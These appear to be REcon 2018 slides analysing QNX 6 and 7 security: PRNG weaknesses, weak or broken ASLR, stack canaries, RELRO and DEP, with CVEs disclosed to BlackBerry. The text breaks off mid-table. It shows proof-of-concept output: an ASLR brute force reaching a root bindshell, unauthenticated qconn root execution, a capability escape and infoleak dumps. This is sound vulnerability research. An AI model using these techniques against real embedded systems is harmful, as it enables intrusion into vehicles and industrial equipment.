Dissecting QNX
Analyzing & Breaking Exploit Mitigations and PRNGs on QNX 6 and 7
REcon Brussels, 2018
Jos Wetzels, Ali Abbasi
## Who are we?

<table>
<thead>
<tr>
<th>Jos Wetzels</th>
<th>Ali Abbasi</th>
</tr>
</thead>
<tbody>
<tr>
<td>Independent Security Researcher @ <strong>Midnight Blue</strong></td>
<td>Ph.D. Candidate @ <strong>TU/e</strong></td>
</tr>
<tr>
<td>(Previously) Security Researcher @ <strong>UTwente</strong></td>
<td>Visiting Researcher @ <strong>RUB</strong></td>
</tr>
<tr>
<td>This work part of MSc thesis @ <strong>TU/e</strong></td>
<td>ICS / Embedded Binary Security</td>
</tr>
<tr>
<td>@s4mvartaka</td>
<td>@bl4ckic3</td>
</tr>
<tr>
<td><a href="http://www.midnightbluelabs.com">http://www.midnightbluelabs.com</a></td>
<td></td>
</tr>
<tr>
<td><a href="http://samvartaka.github.io">http://samvartaka.github.io</a></td>
<td></td>
</tr>
</tbody>
</table>
ROADMAP

• Introduction to QNX

• OS & Security Architecture Outline

• QNX PRNGs

• QNX Exploit Mitigations

• Final Remarks
Introduction

• UNIX-Like, POSIX embedded RTOS.
  • Initial release 1982, acquired by BlackBerry
  • Closed-source, proprietary

• QNX 6.6 (March 2014): 32-bit
• QNX 7 (March 2017): 64-bit

• Mobile
  • BlackBerry 10
  • BlackBerry Tablet

• Only tip of iceberg...
Automotive

King Of Car Infotainment, BlackBerry's QNX

50 Million Vehicles and Counting: QNX Achieves New Milestone in Automotive Market

BLACKBERRY CREATES INNOVATION CENTRE FOR CONNECTED AND AUTONOMOUS VEHICLES

Delphi partners with BlackBerry QNX on its autonomous driving platform

focus primarily on autonomy and high-tech offerings; BlackBerry QNX has shifted from a focus on infotainment solutions to software that underpins and secures self-driving.

Partnerships like this one will benefit both in terms of helping make sure that they can become key technology supply players as automakers move towards automated vehicle deployment. Delphi specifically is looking at BlackBerry QNX’s track record in safe and secure automotive software as a way to help kickstart its autonomous platform development and get it ready for real-world deployment, where it’ll face intrusion and hacking attempts.
Cisco IOS-XR

- Carrier-Grade Routers: CRS, 12000, ASR9000

* IOS-XR, Partnering with Elastic: an overview – Jose Palafox et al., 2016
Many more critical systems

• Industrial Control Systems
  • Westinghouse / AECL Nuclear Power Plants
  • Caterpillar Surface Mining Control
  • GE Mark VI Turbine Controller
  • Novar HVAC

• Defense
  • UAVs
  • Military Radios
  • Anti-Tank Guidance

• Etc.
  • Medical
  • Rail Safety
  • ...
What’s New?

• ‘Wheel of Fortune’ @ 33C3
  - PRNG issues in VxWorks, RedactedOS, QNX <= 6.6

• This talk
  - New QNX 7 userspace & kernelspace PRNGs
  - Exploit Mitigations in QNX 6 & 7
QNX Security History

• BlackBerry Mobile Research (2011 - 2014)
  • Alexander Antukh, Ralf-Philipp Weinmann, Daniel Martin Gomez, Zach Lanier et al.

• QNX IPC, PPS, Kernel Calls (2016)
  • Alex Plaskett et al.

• Various individual vulnerabilities (2000 – 2008)
  • Anakata, Julio Cesar Fort, Tim Brown
  • Lot of setuid logic bugs & memory corruption vulns

• CIA Interest (Vault 7)

2014-10-23 Branch Direction Meeting notes
Date
Oct 23, 2014

QNX - not addressed by any EDB work, big player in VSEP

• No prior work on Exploit Mitigations or PRNGs
• Almost no prior work on internals

* QNX: 99 Problems but a Microkernel ain’t one! - Alex Plaskett et al., 2016
QNX Internals RE

- Sources of internals info
  - QNX Developer Support Pages
  - QNX Community Portal (Foundry27)
    - BSPs, Networking Stacks, OS Wiki

- Does not cover ‘interesting’ stuff or most features in QNX > 6.4
  - Nothing on mitigations, nothing on PRNGs 😊

- SDP includes RTOS, system binaries & Momentics Tool Suite
  - Binaries with debug symbols available for myQNX members!

- Load microkernel with symbols into IDA, take manual route

```c
  call  rsrcdmgr_init
  call  sysmgr_init
  call  pathmgr_init
  call  devnull_init
  call  devtext_init
  call  devtty_init
  call  devstd_init
  call  memmgr_init
  call  procmgr_init
  call  special_init
  call  procfs_init
  call  bootimage_init
  call  namedsem_init
  mov  dword ptr [esp], 0Ah ; pass
  call  module_init
  call  message_start
  leave
  ret
```
QNX Boot Process

- Initial Program Loader (IPL) copies Image Filesystem (IFS) to RAM

- Startup (startup-*) program configures system (interrupt controllers, etc.)

- Microkernel (procnto) sets up kernel, runs buildfile (boot script for drivers and OS components)
QNX Firmware

• Various QNX OS packages (Car, Safety, Medical)
  • Same Neutrino microkernel and core service binaries

• QNX images come in three flavors
  • OS image (**IFS**)
  • Flash filesystem image (**EFS**)
  • Embedded transaction filesystem image (**ETFS**)

• Can be combined into single image on eg. NAND Flash
QNX Firmware

• Dump IFS & EFS using standard QNX utilities
  • dumpifs, dumpefs

```
# ls ./boot
bios_smp.ifs  bios_smp_aps.ifs  testbuild2.ifs  testbuild5.ifs

# dumpifs ./boot/bios_smp.ifs
  Offset  Size  Name
  0       440   *.boot
  440     100   Startup-header flags1=0xd flags2=0 paddr_bias=0
  540     18008 startup.*
  18548   5c     Image-header mountpoint=/
  185a4   6b8    Image-directory
  ----    ----   Root-direct
  19000   c3000  proc/boot/procntsmp-instr
  dc000   b734a   proc/boot/libc.so.3
  19334a  4d8    proc/boot/.script
  ----    9      proc/boot/libc.so -> libc.so.3
```
QNX Microkernel Architecture

Figure 1 — QNX Neutrino microkernel architecture.
QNX IPC Message Passing

Client

```
coid = ConnectAttach();
```

Server

```
chid = ChannelCreate();
```

Channel

```
Channel
```

Connections

```
Connections
```

Client

```
sts = MsgSend (coid, ...)
```

Server

```
rvid = MsgReceive (chid, ...)
// Processing happens
MsgReply (rvid, ...)
```
Syscalls

- QNX supports minimal set of ‘native’ syscalls
  - Threads, message passing, signals, clocks, interrupt handlers, etc.
  - QNX < 90 vs Linux > 300 syscalls
- Prototypes in `/usr/include/sys/neutrino.h`

- Other POSIX syscalls implemented in libc as message passing stubs to responsible userspace process

```assembly
.text:0005D280 ; pid_t __cdecl spawn(const char *path, int fd_count, const int
                public spawn
.text:0005D280 spawn proc near                ; CODE XREF: _spawn+j
                ; DATA XREF: .got:spawn_

mov [esp+4], edx ; pid_t
mov [esp], coid
call __MsgSendunc
mov edi, eax

; CODE XREF: _connectdetach
js short loc_5D5F0

; CODE XREF: _connectdetach
cmp coid, 40000000h
jz short loc_5D642
mov [esp], coid
call __ConnectDetach
```
Syscalls

• Native syscalls invoked with usual instructions
  • SYSENTER / INT 0x28 / SWI / SC / etc.
  • Syscall # in EAX (x86), R12 (ARM), R0 (PPC)
  • Listing in /usr/include/sys/kercalls.h

• Syscall entrypoint in __ker_entry / __ker_sysenter
  • Save registers
  • Switch to kernel stack
  • Get active kernel thread
  • Wait until we are on right CPU
  • Acquire kernel

• Syscall # is index into ker_call_table

```
push    ebx
push    edx                ; kap
push    ebx                ; act
or      dword ptr [ebx+30h], 200h
call    ds:_trace_call_table[eax*4]
mov     ebx, [esp+8]
test    eax, eax
jge     __nmi_eax

__ker_exit:
public __ker_exit          ; CODE XREF:
                         ; ker_start:
inc      ds:kernel_exit_count
```
QNX Memory Layout

- Kernelspace – Userspace Separation
  - Only microkernel runs in kernelspace

- Userspace separation of sensitive (OS, driver, etc.) code from regular applications
  - Virtual Private Memory via MMU
  - Unix-like process access controls
QNX User Management

• Typical Unix user & file permissions model
  • /etc/passwd, /etc/group, /etc/shadow
  • Usual utils login, su, etc.
  • Also support for (M)ACL

• QNX 6 hashes
  • SHA256, SHA512 (default)
  • But also: MD5, DES crypt, qnx_crypt (legacy QNX 4)

• Cracked root / maintenance password in embedded can have high shelf-life...

• QNX 7 or patched 6.6 hashes
  • PBKDF2-SHA256/SHA512

---

qnx crypt comprimised

From: skasun () AZSTARNET COM (Sean)
Date: Sat, 15 Apr 2000 03:03:09 -0000

the crypt function for qnx turned out to a bit mixer, not a hash function. It's now possible to extract plaintext from the hashes.

On a related note, all IOpeners (running qnx) use the same root password. Telnetd is running, and allows remote login as root. This is a huge security hole, as you can search uunet for iopeners, and telnet in as root.

Source for the uncryptor is below:

* Legacy Crypto Never Dies – David Hulton, 2017
QNX Process Management

- Process Manager is combined with microkernel in \textit{procnto} executable
  - Runs as root process with PID 1
  - Invokes microkernel in same way as other processes
  - But has \_\_NTO\_PF\_RING0 process flag to call \_ring0 syscall

- Support for usual POSIX stuff
  - \textit{Spawn}, \textit{fork}, \textit{exec}, ...

- QNX uses ELF format

- If filesystem is on block-oriented device code & data are loaded into main memory

- If filesystem is memory-mapped (eg. flash) code can be executed in-place
  - Multiple instances of same process share code memory
QNX Process Abilities

- `procmgr_ability` similar to Linux capabilities
  - Obtain capabilities before dropping root
  - Restrict actions for even root processes

- Integral to QNX ‘rootless execution’ security
  - Principle of least privilege

- Abilities have domain (root/non-root), range (restrict values), inheritable, locked, etc.
  - Eg. PROCMGR_AID_SPAWN_SETUID with range [800, 899]

- Can specify custom abilities
QNX Process Abilities Limitations

• Up to application developers & system integrators to get this right
  • Watch out with inheritability (inheritable itself), *fork()* ignores this, *spawn()* honors this

• Some functionality uncovered by capabilities
  • Filesystem, network, etc.
  • Eg. root process with all capabilities dropped can still *chmod* / *chown*

• Some capabilities don’t have ranges
  • Eg. if you have PROCMGR_AID_SPAWN, you can spawn what you want

• Various capabilities can be used to elevate privileges to root
  • Some directly: PROCMGR_AID_SPAWN_SETUID without range
  • Some more indirectly: PROCMGR_AID_INTERRUPT

• It’s not a true sandbox!
‘Breaking’ Rootless Execution

- Parent starts low-priv child with PROCMGR_AID_IO / PROCMGR_AID_INTERRUPT
  - Child attaches custom ISR handler -> runs in kernelspace -> invoke arbitrary procnto code

```
$ id
uid=100(user) gid=100(users) groups=100(users)
$ ls -la ./capability_poc
-rwsr-xr-x 1 root root 7937 Jan 18 10:03 ./capability_poc
$ ls -la ./child_cap_poc
-rwxr-xr-x 1 user users 7924 Jan 18 10:08 ./child_cap_poc
$ ./child_cap_poc
[*] Hello from child!
[-] Could not request I/O privs (Operation not
$ ./capability_poc
[+] Child pid: 352284
[*] Waiting ...
[*] Hello from child!
```
Qnet (Native Networking / TDP)

Figure 3.1: Distributed Computing (QNX, 2007m)
Qnet Security

• Useful for eg.
  • Inter-module communication in ICS
  • Sharing cellular modem or Bluetooth transceiver among ECUs in automotive
  • Large routers with multiple interface cards (LWM IPC in Cisco IOS-XR)

• /net directory populated by discovered or mapped Qnet nodes
Qnet Security

• Meant to be used among ‘trusted nodes’

• No authentication, simply passes User ID as part of Qnet packet to remote machine
  • Execute commands remotely over Qnet

```
$ uname -a
QNX EA4c32b7 6.6.0 2014/02/22-18:29:37EST x86pc x86
$ on -f EAe231ad uname -a
QNX EAe231ad 6.6.0 2014/02/22-18:29:37EST x86pc x86
```

• Compromise single QNX machine or underlying network link
  • access to all Qnet nodes at UID level

• No Qnet packet integrity / authentication ...
  • Forge UIDs

• *mapany / maproot* options to map incoming UID to low-priv UID (similar to NFS)
Qnet EoP Vulnerability (CVE-2017-3891)

- Read permissions of operations over Qnet are not properly resolved by resource manager
  - Allows for arbitrary remote read access
  - Can also be used for local arbitrary read access by making read requests originate from remote Qnet node

- Bypasses `mapany` / `maproot`

- Patch available but Qnet security is fundamentally broken ...
QNX Debugging

- QNX Momentics IDE integrates **GDB** debugger capabilities
  - `nto<arch>-gdb.exe`

- **pdebug**
  - Process-level debugging over serial or TCP/IP

- **qconn**
  - Remote IDE connectivity
  - Starts `pdebug`, default port 8000
  - **No authentication**
  - Upload / download files, run anything as `root`
  - There’s a metasploit module for this

---

GNU gdb (GDB) 7.6.1 qnx (rev. 863)
Copyright (C) 2013 Free Software Foundation
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute
There is NO WARRANTY, to the extent permitted by law.  See the full license.

This GDB was configured as "--host=i686-mips".
(gdb) target qnx 192.168.0.102:8000
Remote debugging using 192.168.0.102:8000
MsgNak received - resending
Remote target is little-endian
(gdb) run /usr/bin/id
Starting program: /usr/bin/id
uid=0 (root) gid=0 (root)
[Inferior 1 (pid 147482) exited normally]
(gdb)
QNX Debugging

• **dumper**
  • Service that produces post-crash core dump (default in `/var/dumps`)
  • Directly dump running process with `dumper -p <pid>`
  • Nice for integration into fuzzers

• **KDEBUG (gdb_kdebug)**
  • Kernel debugger over serial
  • Needs to be included with IFS (not by default, may need to be built from source)
  • Needs debuggable `procnto`
QNX Debugging

- **Kernel Dump Format**
  - **S/C/F:** Signal / Code / Fault (signal.h / siginfo.h / fault.h)
  - **C/D:** Kernel code / data location
  - **state:** Kernel state
  - **KSB:** Kernel Stack Base
  - **[x] PID-TID=y-z:** Process and Thread ID on CPU x
  - **P/T FL:** Process and Thread Flags
  - **instruction:** Instruction where error occurred
  - **context:** Register values
  - **stack:** Stack contents

```plaintext
Shutdown[0,0] S/C/F=11/1/11 C/D=f001517d/f00571ac state(c0) = now lock
QNX Version 6.6.0 Release 2014/02/22-18:29:37EST KSB:fe3f6000
[0]PID-TID= 1-1? P/T FL=00019001/08800000 "proc/boot/procnto-instr"
[0]ASPACE PID=7 PP=00001010 "proc/boot/devb-eide"
x86 context[eффcc28]:
  0000: 08088cc8 b0359320 efff2c3c efffcc48 b0357f14 08088d10 efff2c10 0000
efff2f2f4 0000001d 00011296 efff2c24 00000099
instruction[b0323948]:
f0 08 75 0e 8b 02 83 c4 f4 83 c0 08 50 e8 6e f5 ff 8b 5d e8 c9 c3 8b 55 89
stack[eффf2c24]:
  0000:b0357f14 00000003 08088cc8 b0317d3d b0357f14 b0359320 efff2c6c b0000
  08088d10 b033f49c efff2c5c b033f678 b0357f14 00000003 00100102 00
```
Pseudo-Random Number Generators (PRNGs)
PRNG Quality

• Why look at PRNGs?

• Foundation of wider cryptographic ecosystem
  • ‘just use /dev/random’ is received wisdom

• Strength of exploit mitigations (should) depend on strength of PRNGs
  • If I can predict canary or ASLR address it makes exploit dev a lot easier
QNX Security-Oriented PRNGs

Userspace PRNG
- Accessed through /dev/random
- Handled by userspace service random running as root
- Started after boot via /etc/rc.d/startup.sh

```
# ps -e -o pid,uid,args | grep random
  4115 0 random -t
  282651 0 grep random

# ls -la /dev/urandom
nrw-r--r-- 1 root root 0 Sep 07 14:57 /dev/urandom
```

Kernelspace PRNG (QNX 7)
- Implemented in procnto as function named random_value
- Cannot be accessed directly in userspace
QNX 6 /dev/random

- Covered this in our talk ‘Wheel of Fortune’ at 33C3

- Brief recap
  - Underlying PRNG based on Yarrow (Schneier et al.)
  - But based on older Yarrow instead of reference Yarrow-160
    - Has a bunch of sketchy cryptographic design decisions

- Low quality boot-time entropy
- Broken reseed control
- Entropy source selection up to system integrators...
QNX 7 /dev/random

• Redesigned after our assessment of QNX 6 /dev/random
  • Incorporates some of our feedback

• Uses Heimdall Fortuna implementation

• New entropy sources

• New reseed control mechanism

• Overall quality seems much better than QNX 6

• Potential for weaknesses depending on system integration conditions
QNX 7 /dev/random
QNX 7 Kernel PRNG

- QNX 7 introduced new kernel PRNG after our assessment

- Used for ASLR, Stack Canaries, etc.

- `random_seed` set via `SysSrandom` syscall (requires `PROCMGR_AID_SRANDOM`)
Exploit Mitigation Quality

• Why look at exploit mitigations?
  • Mitigations in GP didn't fall from the sky
  • History of weaknesses, bypasses, etc. in GP

*Patching Exploits with Duct Tape: Bypassing Mitigations & Backward Steps – James Lyne et al., 2015*
## QNX Exploit Mitigations

<table>
<thead>
<tr>
<th>Mitigation</th>
<th>Support Since</th>
<th>Enabled by Default?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Execution Prevention (DEP)</td>
<td>6.3.2</td>
<td>✗</td>
</tr>
<tr>
<td>Address Space Layout Randomization (ASLR)</td>
<td>6.5</td>
<td>✗</td>
</tr>
<tr>
<td>Stack Canaries</td>
<td>6.5</td>
<td>✗</td>
</tr>
<tr>
<td>Relocation Read-Only (RELRO)</td>
<td>6.5</td>
<td>✗</td>
</tr>
</tbody>
</table>

**No support for:**

- Vtable Protection (eg. VTGuard, VTV)
- CPI / CFI (eg. CFG)
- Kernel Data / Code Isolation (eg. SMAP/PAN, SMEP/PXN)
- Etc.
QNX DEP

- Hardware-based DEP support (eg. NX/XN bit)

<table>
<thead>
<tr>
<th>Architecture</th>
<th>Support</th>
</tr>
</thead>
<tbody>
<tr>
<td>x86/x64</td>
<td>✓</td>
</tr>
<tr>
<td>ARMv6+</td>
<td>✓</td>
</tr>
<tr>
<td>MIPS</td>
<td>✘</td>
</tr>
<tr>
<td>PPC</td>
<td>~</td>
</tr>
</tbody>
</table>

- Insecure Defaults
  - Stack always left executable
  - GNU_STACK ELF program header ignored

- Need to specify “-m~x” in procnto startup flags to make stack non-exec
  - Problem: this is system-wide setting, no opt-out

- Issue still present on QNX 6 & 7
QNX ASLR

- Enabled by starting `procnto` with "-mr" flag
- Child processes inherit parent ASLR settings
- Can be enabled/disabled on per-process basis
- Randomizes objects at base-address level
- Randomizes all memory objects except KASLR
- PIE **disabled by default** in toolchain, no system binaries have PIE

<table>
<thead>
<tr>
<th>Memory Object</th>
<th>Randomized</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Userspace</strong></td>
<td></td>
</tr>
<tr>
<td>Stack</td>
<td>✔</td>
</tr>
<tr>
<td>Heap</td>
<td>✔</td>
</tr>
<tr>
<td>Executable Image</td>
<td>✔</td>
</tr>
<tr>
<td>Shared Objects</td>
<td>✔</td>
</tr>
<tr>
<td><code>mmap()</code></td>
<td>✔</td>
</tr>
<tr>
<td><strong>Kernelspace</strong></td>
<td></td>
</tr>
<tr>
<td>Stack</td>
<td>✔</td>
</tr>
<tr>
<td>Heap</td>
<td>✔</td>
</tr>
<tr>
<td>Kernel Image</td>
<td>✘</td>
</tr>
<tr>
<td><code>mmap()</code></td>
<td>✔</td>
</tr>
</tbody>
</table>
QNX ASLR – map_find_va

- (Among other things) randomizes virtual addresses returned by `mmap`

- Subtracts or adds a random value from/to found VA
  - Takes lower 32 bits of RNG result
  - Bitwise left-shifted by 12
  - Lower 24 bits extracted

- Contributes *at most 12 bits* of entropy (worse in practice)

```c
if ( flags & 0x10000000 )
{
    // _NTO_PF_ASLR
    v11 = __rdtsc();
    v12 = ((_DWORD)v11 << 12) & 0xFFFFFFFF;
    if ( flags & 0x2000 )
    {
        v13 = start - best_start;
        if ( start != best_start )
        {
            if ( v12 > v13 )
                v12 %= v13;
            start -= v12;
        }
    }
```
QNX ASLR – stack_randomize

• Randomizes stack start address

• Subtracts random value from original SP
  • Takes lower 32 bits of RNG result
  • Bitwise left-shifted by 4
  • At most lower 11 bits extracted

• Contributes at most 7 bits of entropy (also worse in practice)

• But: is combined with result of map_find_va

```c
u2 = new_sp;
if ( BYTE3(thp->process->flags) & 1 )
{
    stack_size = thp->un.lcl.stacksize >> 4;
    if ( stack_size )
    {
        size_mask = 0x7FF;
        if ( stack_size <= 0x800 && stack_size <= 0x7FF )
        {
            do
                size_mask >>= 1;
            while ( size_mask > stack_size );
        }
        ctm = byte_log2[16];
        rnd = __rdtsc() << (ctm & 0x1F);
        if ( ctm & 0x20 )
            LODWORD(rnd) = 0;
        u2 = (new_sp - (rnd & size_mask)) & 0xFFFFFFFF;
    }
```
QNX 6 ASLR – Weak RNG

• Upper bounds are actually *optimistic*

• QNX 6 ASLR uses weak RNG (CVE-2017-3893)

• **ClockCycles()**

• 64-bit free-running cycle counter

• Implementation is architecture-specific

<table>
<thead>
<tr>
<th>Architecture</th>
<th>ClockCycles Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td>x86</td>
<td>RDTSC</td>
</tr>
<tr>
<td>ARM</td>
<td>Emulation</td>
</tr>
<tr>
<td>MIPS</td>
<td>Counter Register</td>
</tr>
<tr>
<td>PPC</td>
<td>Time Base Facility</td>
</tr>
<tr>
<td>SuperH</td>
<td>TMU</td>
</tr>
</tbody>
</table>
QNX 6 ASLR – Weak RNG

- Evaluated actual entropy
  - Measured processes across boot sessions, harvested memory object addresses
  - Used NIST SP800-90B Entropy Source Testing (EST) tool to obtain min-entropy estimates
  - 256 bits of uniformly random data = 256 bits of min entropy

- Average min-entropy: 4.47 bits

- Very weak, compare to
  - Mainline Linux ASLR
  - PaX ASLR

* 32-bit system, ASLR-NG – Ismael Ripoll-Ripoll et al., 2016
QNX 6 ASLR – Bruteforcing

Parent

- Program Code
- Libraries
- Heap
- Stack
- ...

Child

- Program Code
- Libraries
- Heap
- Stack
- ...

\text{fork()} \text{ for client connection}

\text{Auto-Restart}

\text{Address++}

\text{Brute Force}

\text{Try Address}

\text{ROP}
QNX 6 ASLR – Brute forcing

```bash
# on -ae ./vuln_service 1337
[i] Real UID: 0 Effective UID: 0
[i] stack pointer: 0xb880c7c00
[i] target_func(): 0xb8d34c11

# on -ae ./vuln_service 1337
[i] Real UID: 0 Effective UID: 0
[i] stack pointer: 0xb8743cc0
[i] target_func(): 0xb8c41c11

# on -ae ./vuln_service 1337
[i] Real UID: 0 Effective UID: 0
[i] stack pointer: 0xb8c3ab60
[i] target_func(): 0xb90a1c11

# on -ae ./vuln_service 1337
[i] Real UID: 0 Effective UID: 0
[i] stack pointer: 0xb79a2bb0
[i] target_func(): 0xb8268c11
```

```bash
[*] Trying '0xb8266c11'...
[+] Opening connection to 192.168.0.102 on port 1337: Done
[-] Opening connection to 192.168.0.102 on port 4444: Failed
[ERROR] Could not connect to 192.168.0.102 on port 4444
[*] Closed connection to 192.168.0.102 port 1337
[*] Trying '0xb8267c11'...
[+] Opening connection to 192.168.0.102 on port 1337: Done
[-] Opening connection to 192.168.0.102 on port 4444: Failed
[ERROR] Could not connect to 192.168.0.102 on port 4444
[*] Closed connection to 192.168.0.102 port 1337
[*] Trying '0xb8268c11'...
[+] Opening connection to 192.168.0.102 on port 1337: Done
[+] Opening connection to 192.168.0.102 on port 4444: Done

[>] Attack Time: 0:00:23.428640
[+] Connected to bindshell!
[*] Switching to interactive mode
```

```bash
$ uname -a
QNX localhost 6.6.0 2014/02/22-18:29:37 EST x86pc x86
$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),3(sys),4(adm),5(tty)
```

```bash
$ ```
QNX 6 ASLR – procfs Infoleak (CVE-2017-3892)

devctl(), devctlv()

Control a device

Synopsis:

```c
#include <sys/types.h>
#include <unistd.h>
#include <devctl.h>

int devctl(int filedes, int cmd, void *dev_data_ptr, size_t n_bytes, int *dev_info_ptr);
```

Finding out information about the process

Once we've identified which process we're interested in, one of the first things we need to do is figure out its name.

There are six `devctl()` commands that deal with processes:

- **DCMD_PROC_MAPDEBUG_BASE**
  - Returns the name of the process (we've used this one above, in `iterate_proc`
- **DCMD_PROC_INFO**
  - Returns basic information about the process (process IDs, signals, virtual address space)
- **DCMD_PROC_MAPINFO** and **DCMD_PROC_PAGEDATA**
  - Returns information about various chunks ("segments," but not to be confused with "pages")
- **DCMD_PROC_TIMERS**
  - Returns information about the timers owned by the process.
- **DCMD_PROC_IRQS**
  - Returns information about the interrupt handlers owned by the process.
QNX 6 ASLR – procfs Infoleak (CVE-2017-3892)
QNX 6 ASLR – LD_DEBUG Infoleak (CVE-2017-9369)

```
$ uname -a
QNX localhost 6.6.0 2014/02/22-18:29:37EST x86pc x86
$ id
uid=100(user) gid=100(users) groups=100(users)
$ ls -la ./setuidapp
-rwxr-xr-x 1 root root 7656 Dec 17 21:38 ./setuidapp
$ ./setuidapp
[*] euid = 0
$ LD_DEBUG=all ./setuidapp
debug: Added libc.so.3 to link map

dump: Locking up symbol pthread_key_create
dump: Symbol pthread_key_create bound to definition in libc.so.3
dump: Locking up symbol pthread_once
dump: Symbol pthread_once bound to definition in libc.so.3

List cump. Name: dump: Startup objects list (SOLD)
Object addr 0x8053050
  Refcount: 1
  Flags: 0x4d1247 INIT|FINI|RESOLVED|JMPRELSDONE|EXECUTABLE|INITARRAY|FINI
  Name:
  Rpath:
  Text: 0x8043000

  Text size: 2256 (0x8d0)
  Text rel: 0 (0x0)
  Data offset: 7996 (0x1f3c)
  Data size: 316 (0x13c)
  Data rel: 0 (0x0)
  Scope: 0xb03b7cbc0
Object addr 0x80531e0
  Refcount: 1
  Flags: 0x102043 INIT|RESOLVED|JMPRELSDONE|INITARRAY|GLOBAL
  Name: libc.so.3
  Rpath:
  Text: 0x80300000
```
QNX 7 ASLR – Changes

- ASLR still disabled by default, no KASLR
- But uses kernel PRNG now (`random_value`) discussed earlier
- Despite new RNG and 64-bit address space, low theoretical upper bounds remain
  - 7 bits for `stack_randomize`
  - 12 bits for `vm_region_create`
- Always loaded in lower 32-bits of address space
QNX 7 ASLR – Changes

• **LD_DEBUG (CVE-2017-9369)**
  Fixed!

• **procfs (CVE-2017-3892)**
  Not completely Fixed...

```
$ uname -a
QNX localhost 7.0.0 2017/02/14-16:01:20EST x86pc x86_64
```

```
$ id
uid=1000(qnxuser) gid=1000(qnxuser) groups=1000(qnxuser)
```

```
$ pidof -p 5 users
 pid name    uid  gid  et
 5             
```

```
Error receiving gid info for pid 5, errno 1
```

```
$ ./procfsinfoleak -p 5 -t 1
[*] opened '/proc/5/cntl' (R)
[*] querying for info
[i] pid: 5
[i] flags: 0x8000210
[i] ring0: 0
[i] base address: 0x0000000008047e40
[i] initial stack: 0x0000000008047e10
[i] registers:
  rdi:0000000008047e30  rsi:0000000008047c40  rbp:00000000
  rbx:0000000000000000  rdx:0000000010002599  rcx:00000000
  rip:000000000000047c40  cs:0000000000000000  efl:00000000
  ss:0000000000000000  ---:0000000000000001  ---:00000000
  ---:00000000000005b  ---:00000000001246  ---:00000000

[+] memory mapping
 buff# --vaddr-- --size-- --flags-- --
[0] 0x00000000007f45000 0x0000000000001000 0x0000000000001000
[1] 0x00000000007f46000 0x0000000000003f00 0x0000000000001000
[2] 0x00000000007f55000 0x0000000000001000 0x0000000000001000
[3] 0x00000000007f66000 0x0000000000001000 0x0000000000001000
```
QNX Stack Canaries

- QNX uses GCC's *Stack Smashing Protector (SSP)*

- Compiler-side is what we're used to and is ok

- OS-side implementations are custom

- Userspace master canary generated at program startup when *libc* is loaded

- Doesn't use libssp's *__guard_setup* but custom *__init_cookies*
QNX 6 SSP – Weak RNG

• Draws entropy from 3 sources
  • Two of which only relevant if ASLR enabled

• All based on *ClockCycles*

```c
void _init_cookies()
{
    unsigned __int64 timestamp0; // rax@1
    void *canary0; // ecx@1
    unsigned __int64 timestamp1; // rax@1
    unsigned int canary1; // ecx@1
    unsigned __int64 timestamp2; // rax@1
    unsigned __int8 *stackval; // [sp+Ch] [bp-10h]@1

    timestamp0 = __rdtsc();
    canary0 = (void *)((timestamp0 ^ ((unsigned int)stackval ^ (unsigned int)_init_cookies) >> 8));
    _stack_chk_guard = canary0;
}```
QNX 6 SSP – Weak RNG

- Evaluated canary *min-entropy* over 3 configs
  - No ASLR
  - ASLR but no PIE
  - ASLR + PIE

- Average *min-entropy*: **7.79 bits**
  - ASLR had no noticeable influence

- Less than ideal...

- Using CSPRNG should have 24 bits of min-entropy...
  - We have 32-bit canary with 1 terminator-style NULL-byte
QNX 6 SSP – Kernelspace

• Problems even worse

• Microkernel neither loaded nor linked against libc

• Master canary generation cannot be done by __init_cookies

• **BUT**: QNX forgot to implement replacement master canary generation routine

• So kernelspace canaries are used, but never actually generated...
  • Always 0x00000000
QNX 7 SSP – Changes

• Enabled by default! Generates 64-bit canaries

• For userspace QNX mixes in \textit{AUXV(AT\_RANDOM)} value with \textit{init\_cookies} stuff
  • Based on our best-practice suggestions to BlackBerry
  • ELF auxiliary vector transfers kernel info to user process upon startup
  • \textit{AT\_RANDOM} (0x2B) is 64-bit value from kernel PRNG

• For kernelspace QNX concats two 32-bit kernel PRNG values during early boot

```assembly
    call random_value ; PIC mode
    mov ebx, eax
    call random_value ; PIC mode
    shl rax, 20h
    or rbx, rax
    mov rax, cs:__stack_chk_guard_ptr
    mov [rax], rbx
    mov rax, cs:percpu_ptr_ptr
    mov rax, [rax]
    mov rdi, [rax+8]
    call ker_exit_kickoff ; PIC mode
```
Relocation Read-Only (RELRO)

- Dynamically linked binaries use *relocation* to do runtime lookup of symbols in shared libraries.
  - `.got`: holds offsets
  - `.plt`: holds code stubs that look up addresses in `.got.plt`
  - `.got.plt`: holds target addresses after relocation

- Relocation data is popular target for overwriting to hijack control-flow

- Partial RELRO
  - Reorder ELF sections so internal data (.got, .dtors, ...) precedes program data (.data, .bss)
  - Relocation data is made read-only (covered by GNU_RELRO segment) after relocation, PLT GOT still writable

- Full RELRO
  - Lazy binding disabled with *BIND_NOW* flag
  - PLT GOT is then also read-only
QNX 6 Broken RELRO (CVE-2017-3893)

- GNU_RELRO: [0x08049ED8, 0x8049FFF]
  - Includes .got

- GNU_RELRO: [0x08049F2C, 0x8049FFF]
  - Does not include .got

- Root Cause: linker section ordering
QNX 6 Broken RELRO (CVE-2017-3893)

Full RELRO

No canary found    NX enabled    No PIE

Segmentation fault

No RELRO violation detected

Memory fault (core dumped)
QNX 6 RELRO

• Also found a local bypass
  • LD_DEBUG=imposter allows us to disable RELRO without privilege checks
  • Nice for exploiting setuid binaries

• Both issues are fixed with patches for QNX 6.6 and in QNX 7 😊
Final Remarks
Patches

• Disclosed all issues to BlackBerry
  • Most issues fixed in 7.0, patches for 6.6 available for some issues *
  • Will take (lots of) time before patches filter down to OEMs & end-users...

<table>
<thead>
<tr>
<th>Component</th>
<th>Issue</th>
<th>Affected</th>
</tr>
</thead>
<tbody>
<tr>
<td>DEP</td>
<td>Insecure Defaults</td>
<td>&lt;= 7.0</td>
</tr>
<tr>
<td>ASLR</td>
<td>Weak RNG (CVE-2017-3893)</td>
<td>&lt;= 6.6 **</td>
</tr>
<tr>
<td>ASLR</td>
<td>procfs infoleak (CVE-2017-3892)</td>
<td>&lt;= 7.0</td>
</tr>
<tr>
<td>ASLR</td>
<td>$LD_DEBUG$ infoleak (CVE-2017-9369)</td>
<td>&lt;= 7.0</td>
</tr>
<tr>
<td>SSP</td>
